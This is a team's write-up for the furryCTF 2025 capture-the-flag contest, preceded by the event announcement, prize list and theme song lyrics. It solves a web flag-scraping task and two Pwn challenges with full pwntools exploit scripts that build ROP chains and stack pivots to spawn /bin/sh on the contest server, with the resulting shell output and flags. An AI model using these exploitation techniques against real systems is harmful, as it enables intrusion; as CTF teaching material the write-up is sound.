[个人团队] FurryCTF2025高校联合新神赛的Writeup

2026年1月30日12:00 ~ 2026年2月4日12:00

3人赛

furryCTF 2025 高校联合新神赛

539支队伍已报名

开始时间

2026年1月30日中午12点00分

结束时间

2026年2月4日中午12点00分

为保持信息流通，请加交流群哦owo 本次比赛的官方交流群QQ:

一群：746480442（已满） 二群：940969667（已满） 三群：1034224442

参赛证书**参赛就有**哦~也会发到群里，记得加群！

> 你走进了传送门，眼前所设想的种种美好并没有出现，只有一望无际的黑暗。
> 忽然，黑暗中浮现了一抹光，一层层台阶浮现，一条道路在你眼前展开。
> 刹那间，群星闪耀。
> “上来吧，接受神的旨意……”
> 你忽然莫名有点心慌，像是被什么攥住了心跳。
> 但……
> 来都来了，除了硬着头皮上，又有什么更好的办法呢……

欢迎各位师傅们来到furryCTF 2025 高校联合新神赛！

少数人的力量终究是薄弱的，所以我们联合了POFP战队，一同给各位师傅带来全新体验！

本场比赛为团体赛，但是队伍不得超过3人。

选手们可以通过手边的工具收集信息，从而拿到最终的flag。

本次比赛**除特别说明外**，禁止使用任何扫描器（如dirsearch），违者视为攻击平台。

请不要试图攻击平台，违者视情况封禁账号，封禁IP，送上牢饭。

祝各位玩的开心~

注：本届CTF的flag格式会随题目提示，可能是furryCTF{Something_There}，pofp{xxx},POFP{XXX}或者POFPCTF{xxx}等

我们会在赛时提供每题的flag头。

这个不是热身赛签到题答案捏

比赛嘛，自然有个彩头zwz

POFP联合战队和莫言大佬为此次比赛赞助了一大批奖品：

【一等奖1队】 8核8G服务器（1个月）+ POFP卡贴 + POFP抱枕 + 每人EDUSRC邀请码 [注：女生选手可领取粉色Logo版]

【二等奖1队】 POFP定制卡贴 + POFP抱枕 + 每人EDUSRC邀请码

【三等奖1队】 POFP卡贴 + 每人EDUSRC邀请码

特别的，校内所有的参赛队伍中，第一名队伍也可以每人获得一个EDUSRC邀请码哦~

除此之外，这次猫猫准备了一些吧唧，比赛结束后会按照排名给每个队伍分发。

所以后期应该还有一个邮寄地址统计，但应该要等猫猫开学返校了才能邮寄了……

（记得交WP！不交WP的话成绩不算数哦qwq）

WP的提交截止时间是赛后24小时，模板在群文件里，提交格式为pdf（必须是有效的无毒的正常pdf！其他情况视为无效！）

同时，Agent是不参与评奖的，这意味着如果你的WP中绝大部分思考都是AI做的，有可能会失去评奖资格哦xwx

毕竟我们强调过了，AI终究只是工具，我们希望各位能在脱离AI的时候也能独立思考

还有一些致谢：

感谢@Lil-Ran师傅与@shenghuo2师傅提供的SMTP服务器

感谢**POFP联合战队**和EDUSRC**创始人莫言大佬**对此次比赛的大力支持！

感谢天机云为本次比赛提供的奖品服务器！

主题曲直达

最后在这里附上本届主题曲歌词：

（主歌A）
月光在青铜门刺绣荆棘图样
我踩着星尘陷进数据蛛网
流沙突然缠紧躁动的脚爪
石壁渗出血色蜜糖的芬芳

（预副歌）
齿轮草滴落混杂的毒浆
高高的墙上爬满斑驳阴影
攥住那串诡艳虹光时
却听见云间轻笑：
"别放松……"

（副歌）
攀过脉冲山脉嶙峋的脊椎
云层撕裂钻出骨刺羽翼
万千谜题垒成悬魂阶梯
神赐咒语在羽梢刻满铭文

（主歌B）
倒转的星河开始反刍过往
密文在血管静默增殖膨胀
星群寄来蛀空的邀请函
谜底含着永不腐烂的春望

（桥段）
陷阱跳起踢踏的骷髅舞
青铜门呕出糖霜骸骨
胡须测量心跳停顿时
忽然摸到王冠已嵌进颅骨

（间奏）
数据蒲公英坠入凝滞湖
尾巴缠紧星光的绞索
旗帜依旧高高飘扬在船上
"这次要永远焊在月亮船——"

（最终副歌）
当密文在齿间融成毒浆
云翼早已钉穿颈项
所有答案汇成逆流银河
神光在羽梢循环播放

（尾奏）
星尘凝成冰刺冠冕
蜜钥在喉结旋转
爪尖卡进门环髓腔
神抚过我颤抖的羽翼
"嘘——"
"永恒游戏现在开场……"

Day0

Day1

Day2

PPC

flagReader(probie)

题目信息

> ## flagReader100 pts
>
> 本题flag头：furryCTF{}
>
> 这里有一个flag查看器zwz
>
> 只需要把网页上的内容复制下来，Base16解码2次之后就能拿到flag惹，很简单叭~
>
> 注：容器大概需要花个几秒钟启动服务zwz，如果遇到拒绝服务等一等就好惹~

解题过程

查看响应数据

请求 URL
http://ctf.furryctf.com:33495/api/flag/char/1
请求方法
GET
状态代码
200 OK
远程地址
114.66.33.225:33495
引用站点策略
strict-origin-when-cross-origin


```
{
    "char": "3",
    "is_base64": true,
    "position": 1,
    "status": "success",
```

```
    "total_length": 480
}
```

分析

- 每个数据都有**专门单一**的路由存放
- 我们可以爬取 `http://ctf.furryctf.com:33495/api/flag/char/(1~480)` 路由的数据，从而获取**char**值
- 数据拼接起来进行2次**base16**解码得到结果

题目答案

最终脚本

```
import requests
import base64
import json

flag = ''
for i in range(1, 480 + 1):
    flag += json.loads(requests.get("http://ctf.furryctf.com:33495/api/flag/char/" + str(i)).
    print(f"{(i / 480) * 100 : .2f}%")
print(base64.b16decode(base64.b16decode(flag)).decode())
```

```
99.79%
100.00%
furryCTF{21ec42bf-d921-4b81-9be2-c4160c68c2cc-416af474-6a34-49bf-8dd5-d0fa40d99ff4-dccb8de2-2
```

得到：furryCTF{21ec42bf-d921-4b81-9be2-c4160c68c2cc-416af474-6a34-49bf-8dd5-d0fa40d99ff4-dccb8de2-2cb9-45a4-906a-7b6be4fcbfbf}

Day3

Pwn

nosystem(probie)

题目信息

> ## nosystem100 pts
>
> 本题flag头：furryCTF{}
>
> 猫猫最近接手了某公司的一个安全项目，当他看到该公司的密码check逻辑的时候……

噗呲……

我们都是专业的，一般都不会笑.jpg

解题过程

信息搜集

```
checksec pwn
```

```
[*] '/home/kali/Desktop/ctf/pwn/pwn'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
```

分析

- Linux64位小端序
- 基本没有保护

查看源码

```
int __fastcall main(int argc, const char **argv, const char **envp)
{
  _BYTE v4[64]; // [rsp+0h] [rbp-40h] BYREF

  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  puts("Hey, my boss told me do NOT write variables outside the function. zwz");
  puts("SO I write an array outside haha~ nwn");
  puts("Don't you think so?");
  __isoc99_scanf("%[^\n]%*c", v4);
  puts("Oh, maybe you're looking for some secrets, but actually,nothing.");
  printf("Maybe you're looking for system() or /bin/sh?");
  return 0;
}
```

```
__int64 work()
{
  int v1; // [rsp+24h] [rbp-4h] BYREF

  __isoc99_scanf("%d %d %d %d %d %d", &v1);
  if ( !(unsigned int)Passcheck() )
    return 0LL;
  __asm { syscall; LINUX - }
  return 1LL;
}
```

```
__int64 __fastcall Passcheck()
{
  __int64 v0; // r14

  return v0;
}
```

```
.text:0000000000401231 0F 05                                    syscall
.text:0000000000401233 B8 01 00 00 00                           mov     eax, 1
.text:0000000000401238 EB 05                                    jmp     short locret_401
.text:000000000040123A                                ; ---------------------------------------
.text:000000000040123A
.text:000000000040123A                                loc_40123A:
.text:000000000040123A B8 00 00 00 00                           mov     eax, 0
.text:000000000040123F
.text:000000000040123F                                locret_40123F:
.text:000000000040123F C9                                       leave
.text:0000000000401240 C3                                       retn
```

分析

- 没有libc，没有system，没有/bin/sh
- `__isoc99_scanf("%[^\n]%*c", v4)` 无限长度写，存在栈溢出
- syscall后面带了leave和ret操作，即必走一次可控的栈迁移
- 我们先用syscall调用read在bss段写入 `/bin/sh\x00` + `rop` ，然后将rbp设为bss段地址，进行syscall自带的栈迁移，从而控制rip指向bss段，进而执行我们预先写好的rop

数据搜集

```
ropper -f pwn --search "pop"
```

```
0x000000000040134c: pop r12; pop r13; pop r14; pop r15; ret;
0x000000000040134e: pop r13; pop r14; pop r15; ret;
0x0000000000401350: pop r14; pop r15; ret;
0x0000000000401352: pop r15; ret;
0x000000000040134b: pop rbp; pop r12; pop r13; pop r14; pop r15; ret;
0x000000000040134f: pop rbp; pop r14; pop r15; ret;
0x000000000040113d: pop rbp; ret;
0x0000000000401353: pop rdi; ret;
0x0000000000401351: pop rsi; pop r15; ret;
0x000000000040134d: pop rsp; pop r13; pop r14; pop r15; ret;
```

```
ropper -f pwn --search "mov"
```

```
0x0000000000401136: mov byte ptr [rip + 0x2f3b], 1; pop rbp; ret;
0x0000000000401163: mov dword ptr [rbp - 0x20], ecx; mov dword ptr [rbp - 0x24], r8d; mov dwo
0x0000000000401167: mov dword ptr [rbp - 0x24], eax; mov dword ptr [rbp - 0x28], r9d; mov rax
0x0000000000401166: mov dword ptr [rbp - 0x24], r8d; mov dword ptr [rbp - 0x28], r9d; mov rax
```

```
0x000000000040116b: mov dword ptr [rbp - 0x28], ecx; mov rax, r14; mov rdx, r15; ret;
0x000000000040116a: mov dword ptr [rbp - 0x28], r9d; mov rax, r14; mov rdx, r15; ret;
0x00000000004012d4: mov eax, 0; call 0x1040; mov eax, 0; leave; ret;
0x00000000004011c3: mov eax, 0; pop rbp; ret;
0x00000000004010bd: mov eax, 0; test rax, rax; je 0x10d0; mov edi, 0x404048; jmp rax;
0x00000000004010ff: mov eax, 0; test rax, rax; je 0x1110; mov edi, 0x404048; jmp rax;
0x000000000040123a: mov eax, 0; leave; ret;
0x0000000000401009: mov eax, dword ptr [rip + 0x2fe9]; test rax, rax; je 0x1016; call rax;
0x0000000000401009: mov eax, dword ptr [rip + 0x2fe9]; test rax, rax; je 0x1016; call rax; ad
0x0000000000401224: mov eax, edi; mov edi, eax; call 0x1156; test eax, eax; je 0x123a; syscal
0x000000000040116f: mov eax, esi; mov rdx, r15; ret;
0x000000000040112f: mov ebp, esp; call 0x10b0; mov byte ptr [rip + 0x2f3b], 1; pop rbp; ret;
0x0000000000401092: mov edi, 0x401241; call qword ptr [rip + 0x2f52]; hlt; nop; endbr64; ret;
0x00000000004010c7: mov edi, 0x404048; jmp rax;
0x0000000000401226: mov edi, eax; call 0x1156; test eax, eax; je 0x123a; syscall;
0x0000000000401172: mov edx, edi; ret;
0x0000000000401223: mov r8d, edi; mov edi, eax; call 0x1156; test eax, eax; je 0x123a; syscal
0x0000000000401008: mov rax, qword ptr [rip + 0x2fe9]; test rax, rax; je 0x1016; call rax;
0x0000000000401008: mov rax, qword ptr [rip + 0x2fe9]; test rax, rax; je 0x1016; call rax; ad
0x000000000040116e: mov rax, r14; mov rdx, r15; ret;
0x000000000040112e: mov rbp, rsp; call 0x10b0; mov byte ptr [rip + 0x2f3b], 1; pop rbp; ret;
0x0000000000401091: mov rdi, 0x401241; call qword ptr [rip + 0x2f52]; hlt; nop; endbr64; ret;
0x0000000000401171: mov rdx, r15; ret;
```

分析

- 这题没有原生的**pop rax rdi rsi rdx**可以支持我们给**syscall**传参
- 但是我们可以用**pop r14 r15**和**mov**实现间接传参
- `0x0000000000401350: pop r14; pop r15; ret;` 组合 `0x000000000040116e: mov rax, r14; mov rdx, r15; ret;` 控制rax和rdx
- `0x0000000000401353: pop rdi; ret;` 控制rdi
- `0x0000000000401351: pop rsi; pop r15; ret;` 控制rsi

题目答案

最终脚本

```
from pwn import *

context.os = "linux"
context.arch = "amd64"
# context.log_level = "debug"

r = remote("ctf.furryctf.com", 35206)
# r = process(["./pwn"])
elf = ELF("./pwn")

# gdb.attach(r, "b *0x401231")

syscall_elf_addr = 0x401231
```

```
pop_rdi_ret_elf_addr = 0x401353
pop_rsi_pop_r15_ret_elf_addr = 0x401351
pop_r14_pop_r15_ret_elf_addr = 0x401350
mov_rax_r14_mov_rdx_r15_ret_elf_addr = 0x40116e

payload = cyclic(64)
payload += p64(elf.bss())
payload += p64(pop_r14_pop_r15_ret_elf_addr) + p64(0x0) + p64(0x100)
payload += p64(mov_rax_r14_mov_rdx_r15_ret_elf_addr)
payload += p64(pop_rdi_ret_elf_addr) + p64(0x0)
payload += p64(pop_rsi_pop_r15_ret_elf_addr) + p64(elf.bss()) + p64(0x0)
payload += p64(syscall_elf_addr)
r.sendlineafter("so?\n".encode(), payload)

payload = "/bin/sh\x00".encode()
payload += p64(pop_r14_pop_r15_ret_elf_addr) + p64(0x3b) + p64(0)
payload += p64(mov_rax_r14_mov_rdx_r15_ret_elf_addr)
payload += p64(pop_rdi_ret_elf_addr) + p64(elf.bss())
payload += p64(pop_rsi_pop_r15_ret_elf_addr) + p64(0x0) + p64(0x0)
payload += p64(syscall_elf_addr)
r.sendafter("/bin/sh?".encode(), payload)

r.interactive()
```

```
[*] Switching to interactive mode
ls
attachment
bin
dev
flag
lib
lib32
lib64
libx32
cat flag
furryCTF{e46ce87962cc_W3LCom3_t0_pWn_STACk_5YsteM_Nwn}
```

得到：furryCTF{e46ce87962cc_W3LCom3_t0_pWn_STACk_5YsteM_Nwn}

Day4

Pwn

SignIn

题目信息

SignIn108 pts

本题flag头：POFP{}

你醒啦~ 欢迎来到2026年，高考即将来临~ 这是你的学习系统，请查收~

本题请使用nc连接。

解题过程

信息搜集

```
checksec pwn
```

```
[*] '/home/kali/Desktop/ctf/pwn/pwn'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
```

分析

- Linux32位小端序
- 基本没有保护

查看源码

```
// bad sp value at call has been detected, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char *v3; // eax
  const char *v4; // eax
  int v5; // eax
  int v6; // eax
  int result; // eax
  int v8; // [esp-10h] [ebp-44h]
  int v9; // [esp-Ch] [ebp-40h]
  int v10; // [esp-8h] [ebp-3Ch]
  int v11; // [esp-4h] [ebp-38h]
  _BYTE v12[24]; // [esp+0h] [ebp-34h] BYREF
  int v13; // [esp+18h] [ebp-1Ch]
  int *p_argc; // [esp+24h] [ebp-10h]

  p_argc = &argc;
  ((void (__stdcall *)(_BYTE *, int, int, int, int))std::string::basic_string)(v12, v8, v9, v
  std::string::resize(v12, 2);
  std::operator<<<std::char_traits<char>>(&std::cout, "Stack migration is a very useful skill
  init();
```

```
  while ( 1 )
  {
    menu();
    banner();
    v3 = (char *)std::string::operator[](v12, 0);
    std::istream::read((std::istream *)&std::cin, v3, 2);
    v4 = (const char *)std::string::c_str(v12);
    v13 = atoi(v4);
    switch ( v13 )
    {
      case 1:
        m();
        break;
      case 2:
        e();
        break;
      case 3:
        c();
        v5 = std::numeric_limits<int>::max();
        std::istream::ignore((std::istream *)&std::cin, v5, 10);
        break;
      case 4:
        gk();
        break;
      case 5:
        std::operator<<<std::char_traits<char>>(&std::cout, "Bye!\n");
        exit(0);
        return result;
      default:
        std::operator<<<std::char_traits<char>>(&std::cout, "Wrong!\n");
        break;
    }
    v6 = std::numeric_limits<int>::max();
    std::istream::ignore((std::istream *)&std::cin, v6, 10);
  }
}
```

```
int menu(void)
{
  int v0; // eax
  int v1; // eax
  int v2; // eax
  int v3; // eax
  int v4; // eax
  int v5; // eax

  v0 = std::operator<<<std::char_traits<char>>(&std::cout, "welcome to Learning Robot System!
  v1 = std::operator<<<std::char_traits<char>>(v0, "here you can:\n");
  v2 = std::operator<<<std::char_traits<char>>(v1, "1.Mathematics\n");
  v3 = std::operator<<<std::char_traits<char>>(v2, "2.English\n");
  v4 = std::operator<<<std::char_traits<char>>(v3, "3.Chinese\n");
  v5 = std::operator<<<std::char_traits<char>>(v4, "4.Countdown to the Gaokao\n");
  std::operator<<<std::char_traits<char>>(v5, "5.Bye\n");
```

```
  return std::ostream::flush((std::ostream *)&std::cout);
}
```

```
int banner(void)
{
  int result; // eax

  result = ++num;
  if ( num > 1 )
  {
    std::operator<<<std::char_traits<char>>(&std::cout, "System Failure\n");
    exit(1);
  }
  return result;
}
```

```
int m(void)
{
  int v0; // eax
  char *v1; // eax
  int v3; // [esp-Ch] [ebp-44h]
  int v4; // [esp-8h] [ebp-40h]
  int v5; // [esp-4h] [ebp-3Ch]
  int v6; // [esp+0h] [ebp-38h]
  int v7; // [esp+4h] [ebp-34h]
  _BYTE v8[48]; // [esp+8h] [ebp-30h] BYREF

  ((void (__stdcall *)(_BYTE *, int, int, int, int, int))std::string::basic_string)(v8, v3, v
  std::string::resize(v8, 16);
  v0 = std::operator<<<std::char_traits<char>>(
         &std::cout,
         "Important things should be said three times: I love math, I love math, I love math\
  std::operator<<<std::char_traits<char>>(v0, "What are your thoughts on learning math?\n");
  std::ostream::flush((std::ostream *)&std::cout);
  v1 = (char *)std::string::operator[](v8, 0);
  std::istream::read((std::istream *)&std::cin, v1, 16);
  std::operator<<<char>(&std::cout, v8);
  std::operator<<<std::char_traits<char>>(&std::cout, "Good! Keep it up!\n");
  std::ostream::flush((std::ostream *)&std::cout);
  return std::string::~string(v8);
}
```

```
int e(void)
{
  char *v0; // eax
  int v2; // [esp-Ch] [ebp-44h]
  int v3; // [esp-8h] [ebp-40h]
  int v4; // [esp-4h] [ebp-3Ch]
  int v5; // [esp+0h] [ebp-38h]
  int v6; // [esp+4h] [ebp-34h]
  _BYTE v7[48]; // [esp+8h] [ebp-30h] BYREF
```

```
  ((void (__stdcall *)(_BYTE *, int, int, int, int, int))std::string::basic_string)(v7, v2, v
  std::string::resize(v7, 96);
  std::operator<<<std::char_traits<char>>(&std::cout, "Can you do it? Teach me\n");
  v0 = (char *)std::string::operator[](v7, 0);
  std::istream::read((std::istream *)&std::cin, v0, 96);
  std::operator<<<std::char_traits<char>>(&std::cout, "I got it, thank you\n");
  return std::string::~string(v7);
}
```

```
int c(void)
{
  _DWORD *v0; // eax
  int v1; // eax
  int v2; // eax
  int v4; // eax
  int v5; // [esp-Ch] [ebp-64h]
  int v6; // [esp-8h] [ebp-60h]
  int v7; // [esp-4h] [ebp-5Ch]
  int v8; // [esp+0h] [ebp-58h]
  int v9; // [esp+4h] [ebp-54h]
  int v10; // [esp+8h] [ebp-50h]
  int v11; // [esp+Ch] [ebp-4Ch] BYREF
  int v12; // [esp+10h] [ebp-48h] BYREF
  _BYTE v13[27]; // [esp+14h] [ebp-44h] BYREF
  unsigned __int8 v14; // [esp+2Fh] [ebp-29h]
  _BYTE *v15; // [esp+30h] [ebp-28h]
  int (__cdecl *v16)(int, const char **, const char **); // [esp+34h] [ebp-24h]
  int v17; // [esp+38h] [ebp-20h]
  char v18; // [esp+3Fh] [ebp-19h]

  ((void (__stdcall *)(_BYTE *, int, int, int, int, int, int, int, int))std::string::basic_st
    v13,
    v5,
    v6,
    v7,
    v8,
    v9,
    v10,
    v11,
    v12);
  v17 = -1;
  v16 = main;
  std::operator<<<std::char_traits<char>>(
    &std::cout,
    "Chinese is a very easy subject. How many points can you score?\n");
  v0 = (_DWORD *)std::getline<char,std::char_traits<char>,std::allocator<char>>(&std::cin, v1
  if ( (unsigned __int8)std::ios::operator!((char *)v0 + *(_DWORD *)(*v0 - 12)) )
    exit(1);
  v18 = 1;
  v15 = v13;
  std::string::begin(&v12, v13);
  std::string::end(&v11, v15);
```

```
  while ( (unsigned __int8)__gnu_cxx::operator!=<char *,std::string>(&v12, &v11) )
  {
    v14 = *(_BYTE *)__gnu_cxx::__normal_iterator<char *,std::string>::operator*(&v12);
    if ( v14 == 10 || !v14 )
      break;
    if ( (unsigned int)v14 - 48 > 9 )
    {
      v18 = 0;
      break;
    }
    __gnu_cxx::__normal_iterator<char *,std::string>::operator++(&v12);
  }
  if ( v18 != 1 )
  {
    std::operator<<<std::char_traits<char>>(&std::cout, "error\n");
    exit(1);
  }
  v17 = std::stoi(v13, 0, 10);
  if ( (unsigned int)v17 > 0x64 )
  {
    std::operator<<<std::char_traits<char>>(&std::cout, "error\n");
    exit(1);
  }
  if ( v17 <= 89 )
  {
    v4 = std::ostream::operator<<(&std::cout, v17);
    std::operator<<<std::char_traits<char>>(v4, "\nbad\n");
    exit(1);
  }
  system("echo 'Good!'");
  v1 = std::operator<<<std::char_traits<char>>(&std::cout, "This is my grade: ");
  v2 = std::ostream::operator<<(v1, v16);
  std::operator<<<std::char_traits<char>>(v2, "\n");
  return std::string::~string(v13);
}
```

```
ssize_t gk(void)
{
  int v0; // eax
  int v1; // eax
  int v2; // eax
  char s[100]; // [esp+18h] [ebp-C0h] BYREF
  _BYTE buf[24]; // [esp+7Ch] [ebp-5Ch] BYREF
  tm tp; // [esp+94h] [ebp-44h] BYREF
  time_t timer; // [esp+C0h] [ebp-18h] BYREF
  time_t time1; // [esp+C4h] [ebp-14h]
  struct tm *v9; // [esp+C8h] [ebp-10h]
  int v10; // [esp+CCh] [ebp-Ch]

  timer = time(0);
  v9 = localtime(&timer);
  memset(&tp, 0, sizeof(tp));
  tp = *v9;
```

```
  tp.tm_mon = 5;
  tp.tm_mday = 7;
  memset(&tp, 0, 12);
  time1 = mktime(&tp);
  v10 = (int)(difftime(time1, timer) / 86400.0);
  if ( v10 < 0 )
  {
    ++tp.tm_year;
    time1 = mktime(&tp);
    v10 = (int)(difftime(time1, timer) / 86400.0);
  }
  strftime(s, 0x64u, "%c", v9);
  v0 = std::operator<<<std::char_traits<char>>(&std::cout, s);
  std::ostream::operator<<(v0, &std::endl<char,std::char_traits<char>>);
  v1 = std::operator<<<std::char_traits<char>>(&std::cout, "There are still ");
  v2 = std::ostream::operator<<(v1, v10);
  std::operator<<<std::char_traits<char>>(v2, " days until the college entrance exam\n");
  std::operator<<<std::char_traits<char>>(&std::cout, "What preparations have you made?\n");
  std::ostream::flush((std::ostream *)&std::cout);
  close(1);
  return read(0, buf, 0x68u);
}
```

```
int std::numeric_limits<int>::max()
{
  return 0x7FFFFFFF;
}
```

分析

- 虽然这题看起来好像是 `while(true)` ，但 `banner` 中存在计数器，第二次调用会被 `exit` ，所以我们需要绕过 `banner`
- 这题存在**延迟绑定**我们要调用 `system@plt` 就必须先调用 `c` 函数来初始化 `libc` 的 `system` 到 `elf`
- `gk` 函数中 `read(0, buf, 0x68u)` 溢出了 `0x4 * 3` 个字节
- 在 `32位寄存器` 中函数传参使用压栈法，遵循 `cdecl调用约定` ，即 `func + ret + param`
- 我们可以**用溢出的第一个四字节覆盖ebp为bss段地址**，然后**用溢出的第二个四字节调用c函数初始化system**，最后**用溢出的第三个四字节返回到gk函数的read部分再次溢出同时绕过banner**
- 第二次溢出我们的**eax会指向我们的ebp即bss段地址**，这时我们可以**通过read往bss段内写入rop**，并在溢出部分**调用leave + ret来执行我们的rop**
- 需要注意的是**32位寄存器的栈是向下生长的**，而且**调用system函数所需的栈空间是很大**的，**在32位寄存器中data(RW) -> bss(RW) -> heap(RW) -> mmap(R) -> stack(RW)，经过反复调试**，最终决定**将rop从bss段区域迁移到heap堆区域**即够用

数据搜集

```
.text:0804A83B                public _Z1cv
```

```
.text:0804AD07                add     esp, 10h
.text:0804AD0A                lea     eax, [ebp+buf]
```

```
.text:0804AD0D                sub     esp, 4
.text:0804AD10                push    68h ; 'h'       ; nbytes
.text:0804AD12                push    eax             ; buf
.text:0804AD13                push    0               ; fd
.text:0804AD15                call    _read
```

题目答案

最终脚本

```
from pwn import *

context.os = "linux"
context.arch = "i386"
# context.log_level = "debug"

r = remote("ctf.furryctf.com", 36509)
# r = process(["./pwn"])
elf = ELF("./pwn")
rop = ROP([elf])

ret_elf_addr = rop.find_gadget(["ret"])[0]
leave_ret_elf_addr = rop.find_gadget(["leave", "ret"])[0]

bss_elf_addr = elf.bss()

read_elf_addr = elf.sym["read"]
system_elf_addr = elf.sym["system"]

bin_sh_elf_addr = next(elf.search("/bin/sh".encode()))

# gdb.attach(r, f"b *{system_elf_addr}")

payload = str(4).encode()
r.sendlineafter("Bye\n".encode(), payload)

payload = cyclic(0x5C)
payload += p32(bss_elf_addr + (0x33C + 0x13C) * 2 + ((0xffffffff + 0x1) - 0xffffffa4))
payload += p32(0x804A83B) # Chinese
payload += p32(0x804AD07) # GK-Read
r.sendafter("made?\n".encode(), payload)

payload = str(100).encode()
time.sleep(1)
r.sendline(payload)

# gdb.attach(r, f"b *{system_elf_addr}")

payload = p32(system_elf_addr) + p32(0xdeadbeef) + p32(bin_sh_elf_addr)
payload += b'a' * (0x5C - 0x4 * 3)
payload += p32(bss_elf_addr + (0x33C + 0x13C) * 2 - 0x4)
payload += p32(leave_ret_elf_addr)
```

```
time.sleep(1)
r.send(payload)

# payload = "ls 1>&2".encode()
# r.send(payload)

r.interactive()
r.close()
```

分析

- **脚本数据存在硬编码修正是反复调试的结果**
- 因为存在网络延迟，所以远程连接时 `time.sleep(1)` 是必要的

```
[*] Switching to interactive mode
sh: 1: echo: echo: I/O error
ls / 1>&2
bin
boot
dev
etc
flag
home
lib
lib32
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
cat /flag 1>&2
POFP{60ac16ec-69b2-440a-9136-1f69d7f52c87}
```

分析

- `gk` 函数中调用了 `close(1)` ，关闭了标准输出，我们可以用 `exec 1>&2` 将标准输出调整为错误输出
- **0是标准输入，1是标准输出，2是错误输出**

得到：POFP{60ac16ec-69b2-440a-9136-1f69d7f52c87}

Day5

团队

团队名称

菜鸟对对队

团队口号

对对对对对

团队成员

队长

- **probie**

队员

- **kine**
- **Atroot.fliaz**

成员留言

probie

- **暂无**

kine

- **暂无**

Atroot.fliaz

- **暂无**

团队成果

排名

- **0 / 0**

解題

- **0 / 0**

分数

- **0 / 0**